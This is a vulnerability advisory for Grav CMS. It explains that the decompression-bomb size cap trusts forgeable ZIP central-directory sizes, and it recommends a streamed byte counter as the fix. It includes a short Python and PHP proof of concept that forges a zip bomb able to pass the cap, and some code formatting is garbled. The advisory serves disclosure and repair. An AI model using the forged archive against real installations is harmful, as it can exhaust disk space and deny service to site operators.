PT-2026-95068 · Packagist · Getgrav/Grav
CVE-2026-61841
·
Published
2026-09-17
·
Updated
2026-09-17
CVSS v3.1
6.5
Medium
| Vector | AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H |
Summary
The decompression-bomb bound added in 2.0.1 (commit 1c1003c) sums
ZipArchive::statIndex($i)['size'] and rejects an archive whose declared uncompressed total exceeds system.gpm.archive.max uncompressed size (default 1 GiB) before extracting (ZipArchiver.php:77-86; same logic in GPMInstaller::unZip at Installer.php:228-238). statIndex()['size'] is the uncompressed size declared in the ZIP central directory, which is attacker-forgeable and is not checked against the actual inflated stream. An archive declaring 1 byte per entry passes the cap while extractTo() writes the real (large) content. The entry-count and nesting-depth caps count real structure and still hold; only the size dimension is defeated, so the disk-fill / inode-exhaustion case the bound targets is not prevented. Incomplete fix for GHSA-928x-9mpw-8h56.Details
extract()/unZip() validate every entry up front, then call Folder::create + extractTo. The size check is:php
$totalSize += (int) $stat['size']; // declared central-directory size
if ($maxSize > 0 && $totalSize > $maxSize) { ... reject ... }$stat['size'] is read from the central directory, which the archive author writes. libzip does not cross-check declared-vs-actual size during extractTo, so a forged-small value passes the gate and the real stream inflates to disk. The max files (entry count) and max depth (entry-name segments) checks are not forgeable this way.PoC
Build a 10 KiB deflate ZIP of 10 MiB of zeros, patch both uncompressed-size fields (local header + central directory) to 1:
python
import zipfile, struct
data = b'x00' * (10*1024*1024)
with zipfile.ZipFile('bomb.zip','w',zipfile.ZIP DEFLATED) as z:
z.writestr('big.bin', data)
raw = bytearray(open('bomb.zip','rb').read())
raw = raw.replace(struct.pack('<I', 10*1024*1024), struct.pack('<I', 1))
open('bomb forged.zip','wb').write(raw)Drive the exact pre-extraction loop, then extract:
php
$zip = new ZipArchive(); $zip->open('bomb forged.zip');
$total = 0;
for ($i = 0; $i < $zip->count(); $i++) { $total += (int) $zip->statIndex($i)['size']; }
// => $total === 1 (what the 1 GiB bound checks: PASSES)
$zip->extractTo('/tmp/zout');
// => filesize('/tmp/zout/big.bin') === 10485760 (written despite the cap)Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, libzip 1.7.3.
Impact
A forged archive fills the disk / exhausts inodes during extraction. Reached via
GPMInstaller::unZip (gpm install / direct-install / self-upgrade) and admin backup restore (ZipArchiver::extract). The archive bytes come from a package source or an admin upload, so the actor sits at admin/operator trust and a consented malicious package already has worse primitives.Fix
ZipArchiver.php:77-86 and Installer.php:228-238: don't trust the declared size. Extract each entry through a counting stream (ZipArchive::getStream + fread loop) and abort once cumulative written bytes pass max uncompressed size, leaving nothing on disk; or check on-disk bytes incrementally during extraction. If the pre-pass stays, treat the declared-size sum as advisory and add the streamed byte counter as the real enforcement. max files and max depth remain effective.Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Getgrav/Grav